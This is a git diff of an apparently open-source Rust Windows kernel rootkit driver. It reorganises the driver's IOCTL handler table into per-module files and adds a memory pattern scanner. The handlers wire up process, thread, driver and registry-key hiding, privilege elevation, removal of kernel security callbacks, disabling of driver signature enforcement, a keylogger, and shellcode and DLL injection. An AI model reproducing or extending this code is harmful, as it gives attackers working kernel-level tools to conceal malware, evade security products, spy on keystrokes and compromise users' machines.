ioctls.insert(IOCTL_SIGNATURE_PROCESS, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { + log::info!("Received IOCTL_SIGNATURE_PROCESS"); + let status = unsafe { handle_process!(stack, Process::protection_signature, ProcessSignature) }; + unsafe { (*irp).IoStatus.Information = size_of:: as u64 }; + status + }) as IoctlHandler); + + // Lists the processes currently hidden and protect. + ioctls.insert(IOCTL_ENUMERATION_PROCESS, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { + log::info!("Received IOCTL_ENUMERATION_PROCESS"); + let mut information = 0; + let status = unsafe { handle_process!(irp, stack, Process::enumerate_process_toggle, EnumerateInfoInput, ProcessListInfo, &mut information) }; + unsafe { (*irp).IoStatus.Information = information as u64 }; + status + }) as IoctlHandler); + + // If the feature is a mapper, these functionalities will not be added. + #[cfg(not(feature = "mapper"))] { + + // Responsible for adding shutdown protection / memory dumping for a process. + ioctls.insert(IOCTL_PROTECTION_PROCESS, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { + log::info!("Received IOCTL_PROTECTION_PROCESS"); + let status = unsafe { handle_process!(stack, add_remove_process_toggle, ProcessProtection) }; + unsafe { (*irp).IoStatus.Information = size_of:: as u64 }; + status + }) as IoctlHandler); + } + +} + \ No newline at end of file diff --git a/driver/src/process/mod.rs b/driver/src/process/mod.rs index 2febbb1..f785d94 100644 --- a/driver/src/process/mod.rs +++ b/driver/src/process/mod.rs @@ -19,6 +19,7 @@ use { #[cfg(not(feature = "mapper"))] pub mod callback; +pub mod ioctls; #[cfg(not(feature = "mapper"))] pub use callback::*; diff --git a/driver/src/registry/ioctls.rs b/driver/src/registry/ioctls.rs new file mode 100644 index 0000000..a9d497b --- /dev/null +++ b/driver/src/registry/ioctls.rs @@ -0,0 +1,52 @@ +#![cfg(not(feature = "mapper"))] + +use { + crate::{ + handle_registry, + registry::{Registry, utils::KeyListType} + }, + shared::structs::TargetRegistry, + crate::utils::ioctls::IoctlHandler, + alloc::boxed::Box, + hashbrown::HashMap, + shared::ioctls::{ + IOCTL_HIDE_UNHIDE_KEY, IOCTL_HIDE_UNHIDE_VALUE, IOCTL_REGISTRY_PROTECTION_KEY, + IOCTL_REGISTRY_PROTECTION_VALUE + }, + wdk_sys::{IO_STACK_LOCATION, IRP} +}; + +pub fn get_registry_ioctls(ioctls: &mut HashMap) { + + // Adding protection for registry key values. + ioctls.insert(IOCTL_REGISTRY_PROTECTION_VALUE, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { + log::info!("Received IOCTL_REGISTRY_PROTECTION_VALUE"); + let status = unsafe { handle_registry!(stack, Registry::add_remove_registry_toggle, TargetRegistry, KeyListType::Protect) }; + unsafe { (*irp).IoStatus.Information = 0 }; + status + }) as IoctlHandler); + + // Added protection for registry keys. + ioctls.insert(IOCTL_REGISTRY_PROTECTION_KEY, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { + log::info!("Received IOCTL_REGISTRY_PROTECTION_KEY"); + let status = unsafe { handle_registry!(stack, Registry::add_remove_key_toggle, TargetRegistry, KeyListType::Protect) }; + unsafe { (*irp).IoStatus.Information = 0 }; + status + }) as IoctlHandler); + + // ? + ioctls.insert(IOCTL_HIDE_UNHIDE_KEY, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { + log::info!("Received IOCTL_HIDE_UNHIDE_KEY"); + let status = unsafe { handle_registry!(stack, Registry::add_remove_key_toggle, TargetRegistry, KeyListType::Hide) }; + unsafe { (*irp).IoStatus.Information = 0 }; + status + }) as IoctlHandler); + + // ? + ioctls.insert(IOCTL_HIDE_UNHIDE_VALUE, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { + log::info!("Received IOCTL_HIDE_UNHIDE_VALUE"); + let status = unsafe { handle_registry!(stack, Registry::add_remove_registry_toggle, TargetRegistry, KeyListType::Hide) }; + unsafe { (*irp).IoStatus.Information = 0 }; + status + }) as IoctlHandler); +} \ No newline at end of file diff --git a/driver/src/registry/mod.rs b/driver/src/registry/mod.rs index bb0a1e1..6280947 100644 --- a/driver/src/registry/mod.rs +++ b/driver/src/registry/mod.rs @@ -12,6 +12,7 @@ use { #[cfg(not(feature = "mapper"))] pub mod callback; pub mod utils; +pub mod ioctls; #[cfg(not(feature = "mapper"))] pub use callback::*; diff --git a/driver/src/thread/ioctls.rs b/driver/src/thread/ioctls.rs new file mode 100644 index 0000000..5a85489 --- /dev/null +++ b/driver/src/thread/ioctls.rs @@ -0,0 +1,45 @@ +use { + core::mem::size_of, + alloc::boxed::Box, + hashbrown::HashMap, + shared::{ + ioctls::{IOCTL_ENUMERATION_THREAD, IOCTL_HIDE_UNHIDE_THREAD, IOCTL_PROTECTION_THREAD}, + structs::{EnumerateInfoInput, TargetThread, ThreadListInfo} + }, + wdk_sys::{IO_STACK_LOCATION, IRP}, + crate::{handle_thread, thread::Thread, utils::ioctls::IoctlHandler}, +}; + +#[cfg(not(feature = "mapper"))] +use { + crate::thread::add_remove_thread_toggle, + shared::structs::ThreadProtection, +}; + +pub fn get_thread_ioctls(ioctls: &mut HashMap) { + + // Hide the specified Thread by removing it from the list of active threads. + ioctls.insert(IOCTL_HIDE_UNHIDE_THREAD, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { + log::info!("Received IOCTL_HIDE_UNHIDE_THREAD"); + let status = unsafe { handle_thread!(stack, Thread::thread_toggle, TargetThread) }; + unsafe { (*irp).IoStatus.Information = size_of:: as u64 }; + status + }) as IoctlHandler); + + // ? + ioctls.insert(IOCTL_ENUMERATION_THREAD, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { + log::info!("Received IOCTL_ENUMERATION_THREAD"); + let mut information = 0; + let status = unsafe { handle_thread!(irp, stack, Thread::enumerate_thread_toggle, EnumerateInfoInput, ThreadListInfo , &mut information) }; + unsafe { (*irp).IoStatus.Information = information as u64 }; + status + }) as IoctlHandler); + + // Responsible for adding thread termination protection. + ioctls.insert(IOCTL_PROTECTION_THREAD, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { + log::info!("Received IOCTL_PROTECTION_THREAD"); + let status = unsafe { handle_thread!(stack, add_remove_thread_toggle, ThreadProtection) }; + unsafe { (*irp).IoStatus.Information = size_of:: as u64 }; + status + }) as IoctlHandler); +} \ No newline at end of file diff --git a/driver/src/thread/mod.rs b/driver/src/thread/mod.rs index 6ca624d..73942df 100644 --- a/driver/src/thread/mod.rs +++ b/driver/src/thread/mod.rs @@ -20,6 +20,7 @@ use { #[cfg(not(feature = "mapper"))] pub mod callback; +pub mod ioctls; #[cfg(not(feature = "mapper"))] pub use callback::*; diff --git a/driver/src/utils/ioctls.rs b/driver/src/utils/ioctls.rs index 04f3cd5..b07f133 100644 --- a/driver/src/utils/ioctls.rs +++ b/driver/src/utils/ioctls.rs @@ -1,222 +1,37 @@ use { - crate::{ - callbacks::{Callback, CallbackList, CallbackOb, CallbackRegistry}, - driver::Driver, injection::{InjectionDLL, InjectionShellcode}, - keylogger::set_keylogger_state, module::Module, - process::Process, thread::Thread, * - }, alloc::boxed::Box, - core::mem::size_of, - hashbrown::HashMap, - lazy_static::lazy_static, - shared::{ - ioctls::*, - structs::*, - }, - wdk_sys::{IO_STACK_LOCATION, IRP, NTSTATUS} -}; - -#[cfg(not(feature = "mapper"))] -use { + hashbrown::HashMap, + lazy_static::lazy_static, + wdk_sys::{IO_STACK_LOCATION, IRP, NTSTATUS}, crate::{ - process::add_remove_process_toggle, - thread::add_remove_thread_toggle, - handle_registry, - registry::{Registry, utils::KeyListType} + callbacks::ioctls::get_callback_ioctls, + driver::ioctls::get_driver_ioctls, + process::ioctls::get_process_ioctls, + thread::ioctls::get_thread_ioctls, + registry::ioctls::get_registry_ioctls, + injection::ioctls::get_injection_ioctls, + misc::ioctls::get_misc_ioctls, + module::ioctls::get_module_ioctls, }, - shared::structs::{ProcessProtection, ThreadProtection, TargetRegistry}, }; -type IoctlHandler = Box NTSTATUS + Send + Sync>; +pub type IoctlHandler = Box NTSTATUS + Send + Sync>; lazy_static! { pub static ref IOCTL_MAP: HashMap = { let mut ioctls = HashMap::new(); - ioctls.insert(IOCTL_ELEVATE_PROCESS, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { - log::info!("Received IOCTL_ELEVATE_PROCESS"); - let status = unsafe { handle_process!(stack, Process::elevate_process, TargetProcess) }; - unsafe { (*irp).IoStatus.Information = size_of::() as u64; } - status - }) as IoctlHandler); + get_process_ioctls(&mut ioctls); + get_thread_ioctls(&mut ioctls); + get_driver_ioctls(&mut ioctls); + get_callback_ioctls(&mut ioctls); + get_injection_ioctls(&mut ioctls); + get_misc_ioctls(&mut ioctls); + get_module_ioctls(&mut ioctls); - ioctls.insert(IOCTL_HIDE_UNHIDE_PROCESS, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { - log::info!("Received IOCTL_HIDE_UNHIDE_PROCESS"); - let status = unsafe { handle_process!(stack, Process::process_toggle, ProcessInfoHide) }; - unsafe { (*irp).IoStatus.Information = size_of::() as u64; } - status - }) as IoctlHandler); - - ioctls.insert(IOCTL_TERMINATE_PROCESS, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { - log::info!("Received IOCTL_TERMINATE_PROCESS"); - let status = unsafe { handle_process!(stack, Process::terminate_process, TargetProcess) }; - unsafe { (*irp).IoStatus.Information = size_of:: as u64 }; - status - }) as IoctlHandler); - - ioctls.insert(IOCTL_SIGNATURE_PROCESS, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { - log::info!("Received IOCTL_SIGNATURE_PROCESS"); - let status = unsafe { handle_process!(stack, Process::protection_signature, ProcessSignature) }; - unsafe { (*irp).IoStatus.Information = size_of:: as u64 }; - status - }) as IoctlHandler); - - ioctls.insert(IOCTL_ENUMERATION_PROCESS, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { - log::info!("Received IOCTL_ENUMERATION_PROCESS"); - let mut information = 0; - let status = unsafe { handle_process!(irp, stack, Process::enumerate_process_toggle, EnumerateInfoInput, ProcessListInfo, &mut information) }; - unsafe { (*irp).IoStatus.Information = information as u64 }; - status - }) as IoctlHandler); - - ioctls.insert(IOCTL_HIDE_UNHIDE_THREAD, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { - log::info!("Received IOCTL_HIDE_UNHIDE_THREAD"); - let status = unsafe { handle_thread!(stack, Thread::thread_toggle, TargetThread) }; - unsafe { (*irp).IoStatus.Information = size_of:: as u64 }; - status - }) as IoctlHandler); - - ioctls.insert(IOCTL_ENUMERATION_THREAD, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { - log::info!("Received IOCTL_ENUMERATION_THREAD"); - let mut information = 0; - let status = unsafe { handle_thread!(irp, stack, Thread::enumerate_thread_toggle, EnumerateInfoInput, ThreadListInfo , &mut information) }; - unsafe { (*irp).IoStatus.Information = information as u64 }; - status - }) as IoctlHandler); - - ioctls.insert(IOCTL_HIDE_UNHIDE_DRIVER, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { - log::info!("Received IOCTL_HIDE_UNHIDE_DRIVER"); - let status = unsafe { handle_driver!(stack, Driver::driver_toggle, TargetDriver) }; - unsafe { (*irp).IoStatus.Information = 0 }; - status - }) as IoctlHandler); - - ioctls.insert(IOCTL_ENUMERATE_DRIVER, Box::new(|irp: *mut IRP, _: *mut IO_STACK_LOCATION | { - log::info!("Received IOCTL_ENUMERATE_DRIVER"); - let mut information = 0; - let status = unsafe { handle_driver!(irp, Driver::enumerate_driver, DriverInfo, &mut information) }; - unsafe { (*irp).IoStatus.Information = information as u64 }; - status - }) as IoctlHandler); - - ioctls.insert(IOCTL_ENUMERATE_CALLBACK, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { - log::info!("Received IOCTL_ENUMERATE_CALLBACK"); - let mut information = 0; - let status = unsafe { handle_callback!(irp, stack, CallbackInfoInput, CallbackInfoOutput, &mut information, IOCTL_ENUMERATE_CALLBACK) }; - unsafe { (*irp).IoStatus.Information = information as u64 }; - status - }) as IoctlHandler); - - ioctls.insert(IOCTL_ENUMERATE_REMOVED_CALLBACK, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { - log::info!("Received IOCTL_ENUMERATE_REMOVED_CALLBACK"); - let mut information = 0; - let status = unsafe { handle_callback!(irp, stack, CallbackInfoInput, CallbackInfoOutput, &mut information, IOCTL_ENUMERATE_REMOVED_CALLBACK) }; - unsafe { (*irp).IoStatus.Information = information as u64 }; - status - }) as IoctlHandler); - - ioctls.insert(IOCTL_REMOVE_CALLBACK, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { - log::info!("Received IOCTL_REMOVE_CALLBACK"); - let status = unsafe { handle_callback!(stack, CallbackInfoInput, IOCTL_REMOVE_CALLBACK) }; - unsafe { (*irp).IoStatus.Information = 0 }; - status - }) as IoctlHandler); - - ioctls.insert(IOCTL_RESTORE_CALLBACK, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { - log::info!("Received IOCTL_RESTORE_CALLBACK"); - let status = unsafe { handle_callback!(stack, CallbackInfoInput, IOCTL_RESTORE_CALLBACK) }; - unsafe { (*irp).IoStatus.Information = 0 }; - status - }) as IoctlHandler); - - ioctls.insert(IOCTL_ENABLE_DSE, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { - log::info!("Received IOCTL_ENABLE_DSE"); - let status = unsafe { handle_driver!(stack, Driver::set_dse_state, DSE) }; - unsafe { (*irp).IoStatus.Information = 0 }; - status - }) as IoctlHandler); - - ioctls.insert(IOCTL_KEYLOGGER, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { - log::info!("Received IOCTL_KEYLOGGER"); - let status = unsafe { handle_driver!(stack, set_keylogger_state, Keylogger) }; - unsafe { (*irp).IoStatus.Information = 0 }; - status - }) as IoctlHandler); - - ioctls.insert(IOCTL_ENUMERATE_MODULE, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { - log::info!("Received IOCTL_ENUMERATE_MODULE"); - let mut information = 0; - let status = unsafe { handle_module!(irp, stack, Module::enumerate_module, TargetProcess, ModuleInfo, &mut information) }; - unsafe { (*irp).IoStatus.Information = information as u64 }; - status - }) as IoctlHandler); - - ioctls.insert(IOCTL_INJECTION_SHELLCODE_THREAD, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { - log::info!("Received IOCTL_INJECTION_SHELLCODE_THREAD"); - let status = unsafe { handle_injection!(stack, InjectionShellcode::injection_thread, TargetInjection) }; - unsafe { (*irp).IoStatus.Information = 0 }; - status - }) as IoctlHandler); - - ioctls.insert(IOCTL_INJECTION_SHELLCODE_APC, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { - log::info!("Received IOCTL_INJECTION_SHELLCODE_APC"); - let status = unsafe { handle_injection!(stack, InjectionShellcode::injection_apc, TargetInjection) }; - unsafe { (*irp).IoStatus.Information = 0 }; - status - }) as IoctlHandler); - - ioctls.insert(IOCTL_INJECTION_DLL_THREAD, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { - log::info!("Received IOCTL_INJECTION_DLL_THREAD"); - let status = unsafe { handle_injection!(stack, InjectionDLL::injection_dll_thread, TargetInjection) }; - unsafe { (*irp).IoStatus.Information = 0 }; - status - }) as IoctlHandler); - - // If the feature is a mapper, these functionalities will not be added. #[cfg(not(feature = "mapper"))] { - - ioctls.insert(IOCTL_PROTECTION_PROCESS, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { - log::info!("Received IOCTL_PROTECTION_PROCESS"); - let status = unsafe { handle_process!(stack, add_remove_process_toggle, ProcessProtection) }; - unsafe { (*irp).IoStatus.Information = size_of:: as u64 }; - status - }) as IoctlHandler); - - ioctls.insert(IOCTL_PROTECTION_THREAD, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { - log::info!("Received IOCTL_PROTECTION_THREAD"); - let status = unsafe { handle_thread!(stack, add_remove_thread_toggle, ThreadProtection) }; - unsafe { (*irp).IoStatus.Information = size_of:: as u64 }; - status - }) as IoctlHandler); - - ioctls.insert(IOCTL_REGISTRY_PROTECTION_VALUE, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { - log::info!("Received IOCTL_REGISTRY_PROTECTION_VALUE"); - let status = unsafe { handle_registry!(stack, Registry::add_remove_registry_toggle, TargetRegistry, KeyListType::Protect) }; - unsafe { (*irp).IoStatus.Information = 0 }; - status - }) as IoctlHandler); - - ioctls.insert(IOCTL_REGISTRY_PROTECTION_KEY, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { - log::info!("Received IOCTL_REGISTRY_PROTECTION_KEY"); - let status = unsafe { handle_registry!(stack, Registry::add_remove_key_toggle, TargetRegistry, KeyListType::Protect) }; - unsafe { (*irp).IoStatus.Information = 0 }; - status - }) as IoctlHandler); - - ioctls.insert(IOCTL_HIDE_UNHIDE_KEY, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { - log::info!("Received IOCTL_HIDE_UNHIDE_KEY"); - let status = unsafe { handle_registry!(stack, Registry::add_remove_key_toggle, TargetRegistry, KeyListType::Hide) }; - unsafe { (*irp).IoStatus.Information = 0 }; - status - }) as IoctlHandler); - - ioctls.insert(IOCTL_HIDE_UNHIDE_VALUE, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { - log::info!("Received IOCTL_HIDE_UNHIDE_VALUE"); - let status = unsafe { handle_registry!(stack, Registry::add_remove_registry_toggle, TargetRegistry, KeyListType::Hide) }; - unsafe { (*irp).IoStatus.Information = 0 }; - status - }) as IoctlHandler); + get_registry_ioctls(&mut ioctls); } - + ioctls }; } \ No newline at end of file diff --git a/driver/src/utils/macros.rs b/driver/src/utils/macros.rs index 783815d..009d434 100644 --- a/driver/src/utils/macros.rs +++ b/driver/src/utils/macros.rs @@ -165,6 +165,7 @@ macro_rules! handle_module { macro_rules! handle_callback { ($irp:expr, $stack:expr, $input_type:ty, $output_type:ty, $information:expr, $ioctl:expr) => {{ use shared::vars::Callbacks; + use crate::callbacks::{Callback, CallbackRegistry, CallbackOb, CallbackList}; let input_buffer = match crate::utils::get_input_buffer::<$input_type>($stack) { Ok(buffer) => buffer, @@ -206,7 +207,8 @@ macro_rules! handle_callback { ($irp:expr, $type_:ty, $ioctl:expr) => {{ use shared::vars::Callbacks; - + use crate::callbacks::{Callback, CallbackRegistry, CallbackOb, CallbackList}; + let input_buffer = match crate::utils::get_input_buffer::<$type_>($irp) { Ok(buffer) => buffer, Err(status) => return status, diff --git a/driver/src/utils/mod.rs b/driver/src/utils/mod.rs index f4aa209..c622392 100644 --- a/driver/src/utils/mod.rs +++ b/driver/src/utils/mod.rs @@ -20,12 +20,13 @@ use { }, obfstr::obfstr, wdk_sys::{ - ntddk::*, _FILE_INFORMATION_CLASS::FileStandardInformation, _SECTION_INHERIT::ViewUnmap, * + ntddk::*, _FILE_INFORMATION_CLASS::FileStandardInformation, _SECTION_INHERIT::ViewUnmap, + _POOL_TYPE::NonPagedPool, * }, winapi::um::winnt::{ RtlZeroMemory, IMAGE_DOS_HEADER, IMAGE_EXPORT_DIRECTORY, IMAGE_NT_HEADERS64, IMAGE_SECTION_HEADER - }, _POOL_TYPE::NonPagedPool, + }, }; #[cfg(not(test))] @@ -415,6 +416,39 @@ pub unsafe fn get_module_peb(pid: usize, module_name: &str, function_name: &str) None } +/// Scans memory for a specific pattern of bytes in a specific section. +/// # Parameters +/// - `base_addr`: The base address (in `usize` format) from which the scan should start. +/// - `section_name`: The name of the section to scan. This string must match the name of the section you want to scan. +/// - `pattern`: A slice of bytes (`&[u8]`) that represents the pattern you are searching for in memory. +/// +/// # Returns +/// - `Option<*const u8>`: The address of the target function if found. +/// +pub unsafe fn scan_for_pattern(base_addr: usize, section_name: &str, pattern: &[u8]) -> Option<*const u8> { + let dos_header = base_addr as *const IMAGE_DOS_HEADER; + let nt_header = (base_addr + (*dos_header).e_lfanew as usize) as *const IMAGE_NT_HEADERS64; + let section_header = (nt_header as usize + size_of::()) as *const IMAGE_SECTION_HEADER; + + for i in 0..(*nt_header).FileHeader.NumberOfSections as usize { + let section = (*section_header.add(i)).Name; + let name = core::str::from_utf8(§ion).unwrap().trim_matches('\0'); + + if name == section_name { + let section_start = base_addr + (*section_header.add(i)).VirtualAddress as usize; + let section_size = *(*section_header.add(i)).Misc.VirtualSize() as usize; + let data = core::slice::from_raw_parts(section_start as *const u8, section_size); + + if let Some(offset) = data.windows(pattern.len()).position(|window| { + window.iter().zip(pattern).all(|(d, p)| *p == 0xCC || *d == *p) + }) { + return Some((section_start + offset) as *const u8); + } + } + } + None +} + /// Finds the address of a specified Zw function. /// /// # Parameters diff --git a/shared/src/ioctls.rs b/shared/src/ioctls.rs index b870ea4..f62140e 100644 --- a/shared/src/ioctls.rs +++ b/shared/src/ioctls.rs @@ -50,4 +50,5 @@ pub const IOCTL_ENUMERATE_MODULE: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x821, ME pub const IOCTL_INJECTION_SHELLCODE_THREAD: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x823, METHOD_NEITHER, FILE_ANY_ACCESS); pub const IOCTL_INJECTION_SHELLCODE_APC: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x824, METHOD_NEITHER, FILE_ANY_ACCESS); pub const IOCTL_INJECTION_DLL_THREAD: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x825, METHOD_NEITHER, FILE_ANY_ACCESS); -pub const IOCTL_INJECTION_DLL_APC: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x826, METHOD_NEITHER, FILE_ANY_ACCESS); \ No newline at end of file +pub const IOCTL_INJECTION_DLL_APC: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x826, METHOD_NEITHER, FILE_ANY_ACCESS); +pub const IOCTL_TESTE: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x827, METHOD_NEITHER, FILE_ANY_ACCESS); \ No newline at end of file